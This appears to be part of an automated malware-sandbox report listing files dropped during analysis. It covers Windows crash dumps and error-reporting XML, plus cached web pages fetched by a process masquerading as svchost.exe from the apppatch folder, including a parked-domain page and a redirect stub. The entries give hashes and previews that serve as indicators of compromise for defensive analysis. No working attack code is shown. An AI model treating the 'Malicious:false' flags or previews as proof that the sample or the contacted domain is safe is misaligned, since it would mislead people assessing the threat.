                                                                                                                                                                                                                    Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.0.4.<./.P.i.

                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WER17FD.tmp.xml

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):4709
                                                                                                                                                                                                                    Entropy (8bit):4.5899289552976965
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:48:cvIwWl8zsZJg77aI9YjWpW8VYw5Ym8M4JUqFeqS+q8MPGZ73d:uIjfrI7CS7VDoJq5A73d
                                                                                                                                                                                                                    MD5:18299D2964D0FD50B271E1E8F3A9FE18
                                                                                                                                                                                                                    SHA1:05E6BD998FA62C23036BF77EDC266B3A24787C36
                                                                                                                                                                                                                    SHA-256:12ADD3BE9DBACCE74D2C3F54BC886C07C564650DA47C429F13722514201CADE6
                                                                                                                                                                                                                    SHA-512:00FCE97220CDC21367B63F1DFCB6ED083BDF7E973BFBEE456A480AEF35A59E5DCAE4FCD07B56B1AE68227DEA76F160EE48F74E7F7DAB3A702A0987C5A58AB6BA
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583731" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WER222.tmp.dmp

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    File Type:Mini DuMP crash report, 14 streams, Mon Nov 11 17:48:54 2024, 0x1205a4 type
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):763792
                                                                                                                                                                                                                    Entropy (8bit):1.5624709969486654
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:6144:jAIbMb3f3w7jJJhRBy52IeWfP/04OZuaFbuM0/KOSfQGyHsj3yWOx+krL6386xDH:jSwrHLL
                                                                                                                                                                                                                    MD5:92D592DD70B88D9910AFC110FBC15238
                                                                                                                                                                                                                    SHA1:82CD084F2B538C5EA107554FEA1A60F822F2CD75
                                                                                                                                                                                                                    SHA-256:8C1F22FF347C636070B01E177DA0BC285095CBFAC4395EC4466D50EC8F2E7401
                                                                                                                                                                                                                    SHA-512:FDB4AAAADD9A58554CCA365BA4DA696A6A9137D6BD1C3D8E8C48660D6FAC7E6CA5E736DD8D769085D1C95665F2BFCA1561FB3F8586764912E2470D5C846BA510
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:MDMP..a..... ........C2g....................................D....0..........T.......8...........T............a...E..........X...........D0..............................................................................eJ.......0......GenuineIntel............T...........\C2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WER6F4.tmp.dmp

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    File Type:Mini DuMP crash report, 14 streams, Mon Nov 11 17:48:55 2024, 0x1205a4 type
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):782892
                                                                                                                                                                                                                    Entropy (8bit):1.6217730933977337
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:6144:czMUMDxp9B1lTDtz/mtHCCxw4SiNu8nwIDKY9wOhZ9ghydrXHudT3gtL8tEUbZf2:AM6EiF
                                                                                                                                                                                                                    MD5:4EE4064ECFBCAB559ED456967E6D8290
                                                                                                                                                                                                                    SHA1:CDE0CEBB0618ACDE8E6B654EEDB546FDB2233025
                                                                                                                                                                                                                    SHA-256:92BF200C7B3EB13FC83E189DF7DD75CB8A2E0AB1205F4455DCDF27A8EC9389BE
                                                                                                                                                                                                                    SHA-512:0F0E1481FAA9132795146D21BA5BD6E7A62A197C6FFCD77EC938F2E88765ABACF67F0EDA9B1E742A3EE2BF80AF687851F175C5732B380874CE8BB15E406BA94C
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:MDMP..a..... ........C2g....................................T....0..........T.......8...........T............n..............X...........D0..............................................................................eJ.......0......GenuineIntel............T...........\C2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WER8BA.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):8438
                                                                                                                                                                                                                    Entropy (8bit):3.710051978824548
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:192:R6l7wVeJsFR6S06Y9hSU6Kgmf3qSprl89b8isfzUm:R6lXJw6p6YbSU6Kgmf618hfl
                                                                                                                                                                                                                    MD5:7BB9592E619A60C5D854F5067137C3D1
                                                                                                                                                                                                                    SHA1:73E363515974DE6AB1E69F628B84F5ED7E207D54
                                                                                                                                                                                                                    SHA-256:36253DC6F50235331DCB5DF4954D61B1601FBD65F2A3A6556B3C009699CEDE7F
                                                                                                                                                                                                                    SHA-512:71A65D6BE77E170A45117BDA489A3071CFE0BF7843D81F5084D774BF6AC2D16AF19864EE9AA7AFA5788743F1FD609CB11245844509CE26818E27EC16273573C7
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.6.4.4.<./.P.i.

                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WER8FA.tmp.xml

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):4709
                                                                                                                                                                                                                    Entropy (8bit):4.591468729627279
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:48:cvIwWl8zsZJg77aI9YjWpW8VY3Ym8M4JUqFh+q8MwGZ7ad:uIjfrI7CS7VzJXSA7ad
                                                                                                                                                                                                                    MD5:BADA0D16FF760B99B3E40F920AAB9335
                                                                                                                                                                                                                    SHA1:3CDFDF01BD1D77D3A0A5B254FD7D4954B7018B68
                                                                                                                                                                                                                    SHA-256:B8F4AD4F8BA3DDE9284F190D623AA6DC034E812168AE1A61C81FF776515981BC
                                                                                                                                                                                                                    SHA-512:009C2EAD44D86C8DF27B47AC363B0AE231CC141602BBE1BBEFF24A0E96D50EB705395C4F5EF51AE02499BAED279C0BF70EB17D3D26AF8A923E1FEB8FED543306
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583731" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WERBA7.tmp.dmp

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    File Type:Mini DuMP crash report, 14 streams, Mon Nov 11 17:48:56 2024, 0x1205a4 type
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):112290
                                                                                                                                                                                                                    Entropy (8bit):1.6588043369166339
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:384:TdXfHmIMRqz1n7VhKTrSry0ymb8yYqzMo5r1Og:RuIkqzB7DKT0yK8hs1b
                                                                                                                                                                                                                    MD5:0B525C25E5D4D4CEAF674E6E9F95E18B
                                                                                                                                                                                                                    SHA1:6583B4DDCFAC3CECE6481FF7AC35BE1D84FE33D3
                                                                                                                                                                                                                    SHA-256:C81260635E061F33BEF029F793FC04CED1B710FD8C4BBDE96F769924FF555230
                                                                                                                                                                                                                    SHA-512:08C9C82A79C8B310BF0509F2E20609223783B3D51775E9A5185F679D923337A82E80FE0F385FEA836AA7BC3871FBF9068D0BF353D8CAD1A3DD6E346B69DFF1BD
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:MDMP..a..... ........C2g............D...............L............I..........T.......8...........T............(.............$...........................................................................................eJ..............GenuineIntel............T...........\C2g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WERBF6.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):8438
                                                                                                                                                                                                                    Entropy (8bit):3.7103192410930737
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:192:R6l7wVeJ+Fl6Zv746Y9dSUHkagmf3qSprJ89b3fsfO9m:R6lXJm6C6YHSUHhgmf6R3Efl
                                                                                                                                                                                                                    MD5:D3A6A897361378E12F61C03536DC4FDC
                                                                                                                                                                                                                    SHA1:EF29EDB6CC62387E21279F533A4D2F6E5E7D2424
                                                                                                                                                                                                                    SHA-256:95C39F923ABC3F437726D40629F3B42C00E455F9DCD22F35D3AEF148D3DA1602
                                                                                                                                                                                                                    SHA-512:3AC4B968606F9083CD70CFE04394DBE8D7918532581C3E259B9FF38153F35FED3A29F826804B505E444B8185782249AAB262FEBAFAB26050FA9409C3DF7F8500
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.4.0.0.<./.P.i.

                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WERC65.tmp.xml

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):4709
                                                                                                                                                                                                                    Entropy (8bit):4.589514074083988
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:48:cvIwWl8zsZJg77aI9YjWpW8VYZYm8M4JUqF8+q8M3GZ7Rd:uIjfrI7CS7VlJ+dA7Rd
                                                                                                                                                                                                                    MD5:DB7AF4E6B7EA01AAFCAC79482225C932
                                                                                                                                                                                                                    SHA1:CF5EB65C42A6DF23EFBECDF6B79FF5DB524AD8E7
                                                                                                                                                                                                                    SHA-256:FD7183ACF469EA1DDC6550378F45AF8610567BE5400884CAF7AC9E568F8A5B67
                                                                                                                                                                                                                    SHA-512:5F6468394D21E9B1ECE2E4A282885CDD88F0E5D1A92B9BEF95B7A5F66FA2ADEC423A745A4D09D7FCCC5440F87F6583BF0B2ADBF79EFDF7D12477D85A51250349
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583731" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WERC92.tmp.WERInternalMetadata.xml

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):8428
                                                                                                                                                                                                                    Entropy (8bit):3.7125237953112777
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:192:R6l7wVeJ0F66sl6Y95SUHkagmf3qSpr689b3csfHJ/I9m:R6lXJj6+6YjSUHhgmf6k3vfpn
                                                                                                                                                                                                                    MD5:D678269F0D088B62AF487E65E3558E38
                                                                                                                                                                                                                    SHA1:FF47331438DC3F25A020F341C784B808229BE3E6
                                                                                                                                                                                                                    SHA-256:FA858CEABAAC8A619EC27030129C83F38BBAE5B453E9E3D8C2696CF60BD96624
                                                                                                                                                                                                                    SHA-512:E914ECE780169BE15B2E79118E3261433EBACA6A2E4EAFEF12FC16C5B6759FFA857A9F9DDA0A0FFDDEF53559E3D94AA2F2E15BD592E3062FAD53724EC06CEDA5
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.6.0.<./.P.i.

                                                                                                                                                                                                                    C:\ProgramData\Microsoft\Windows\WER\Temp\WERD10.tmp.xml

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):4709
                                                                                                                                                                                                                    Entropy (8bit):4.5927842452669445
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:48:cvIwWl8zsZJg77aI9YjWpW8VYYYm8M4JUqFqR+q8MIGZ7Ad:uIjfrI7CS7VEJCCA7Ad
                                                                                                                                                                                                                    MD5:CB9BF81CB48C879B7D84779168C32CAC
                                                                                                                                                                                                                    SHA1:380D495A8A2605DACC3AA7801B03A52A73AEEE14
                                                                                                                                                                                                                    SHA-256:1C5FADAB8328A545C80168F20D356BAA716BB3648DF73C801B00369BD0CF846E
                                                                                                                                                                                                                    SHA-512:6C76FE9ED4CB2472BD832DEA73ACED601608E00934B3EAF52C7B04839FCB1A34F582C7B19052657185EC5263DF7123AF4C8815769D53E3BE31C8BF5234FDD164
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="583731" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\O2YXKFBZ.htm

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:HTML document, ASCII text, with very long lines (361)
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):2268
                                                                                                                                                                                                                    Entropy (8bit):5.659034090231811
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:48:+mDpFAD3IPPJMqUtmtE9VCkcBSQM7ioaxyi6CYMTf99dwP:W3MjUh9VgGi1yivl9d8
                                                                                                                                                                                                                    MD5:7C8AA6EDC955A90A13B545E62A9BCEBA
                                                                                                                                                                                                                    SHA1:8D223B7A96170E040E8356C2CD92751785331545
                                                                                                                                                                                                                    SHA-256:991E42563DF17B692BECF7D73CDCCBE4F346FAC7DEAD941AB6DBB592B8F1838F
                                                                                                                                                                                                                    SHA-512:398C6C618300D52E452D8A79CF42F01C580931A4AC20C1F6E47401FCA91C287E9E63BCFAE3FF04937AF2E10A5F50DF7C56DB8B282CFF4D0DFBFEC4C8E081C2CB
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN". "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">.<html xmlns="http://www.w3.org/1999/xhtml">..<head>...<title>galyqaz&#46;com</title>...<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>...<script type='text/javascript' language='JavaScript'>.var domain = 'galyqaz.com';.var uniqueTrackingID = 'MTczMTM0NzMwOC40NTY2OmFlYWEyMmYwMWEwNDlkMmJiNjI2Y2RlZmI5YjI5NDQ1YjgxZWVkZGYzZmM3ZTQwMDMwNzkzN2E2ZDhiYjc3N2Q6NjczMjQzNmM2Zjc5MQ==';.var clickTracking = false;.var themedata = '';.var xkw = '';.var xsearch = '';.var xpcat = '';.var bucket = '';.var clientID = '';.var clientIDs = '';.var num_ads = 0;.var adtest = 'off';.var scriptPath = '';...</script>...<script src='//d38psrni17bvxu.cloudfront.net/scripts/js3.js' type='text/javascript' language='JavaScript'></script>...<script type="text/javascript">themedata = 'fENsZWFuUGVwcGVybWludEJsYWNrfHw1Y2U4NHxidWNrZXQxMDJ8fHx8fHw2NzMyNDM2YzZmNzQ1fHx8MTczMTM0Nz

                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\login[1].htm

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:HTML document, ASCII text, with no line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):114
                                                                                                                                                                                                                    Entropy (8bit):4.802925647778009
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:3:PouVIZx/XMn30EEBuvFfD0OkADYyT0NV9kBbZWM:hax/XW3/p5mmYyT0NVuB9d
                                                                                                                                                                                                                    MD5:E89F75F918DBDCEE28604D4E09DD71D7
                                                                                                                                                                                                                    SHA1:F9D9055E9878723A12063B47D4A1A5F58C3EB1E9
                                                                                                                                                                                                                    SHA-256:6DC9C7FC93BB488BB0520A6C780A8D3C0FB5486A4711ACA49B4C53FAC7393023
                                                                                                                                                                                                                    SHA-512:8DF0AB2E3679B64A6174DEFF4259AE5680F88E3AE307E0EA2DFFF88EC4BA14F3477C9FE3A5AA5DA3A8E857601170A5108ED75F6D6975958AC7A314E4A336AED0
                                                                                                                                                                                                                    Malicious:false
                                                                                                                                                                                                                    Preview:<!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander"}</script></head></html>

                                                                                                                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\login[2].htm

                                                                                                                                                                                                                    Download File
                                                                                                                                                                                                                    Process:C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                                    File Type:HTML document, ASCII text, with CRLF line terminators
                                                                                                                                                                                                                    Category:dropped
                                                                                                                                                                                                                    Size (bytes):162
                                                                                                                                                                                                                    Entropy (8bit):4.43530643106624
                                                                                                                                                                                                                    Encrypted:false
                                                                                                                                                                                                                    SSDEEP:3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLLP61IwcWWGu:q43tISl6kXiMIWSU6XlI5LP8IpfGu
                                                                                                                                                                                                                    MD5:4F8E702CC244EC5D4DE32740C0ECBD97
                                                                                                                                                                                                                    SHA1:3ADB1F02D5B6054DE0046E367C1D687B6CDF7AFF
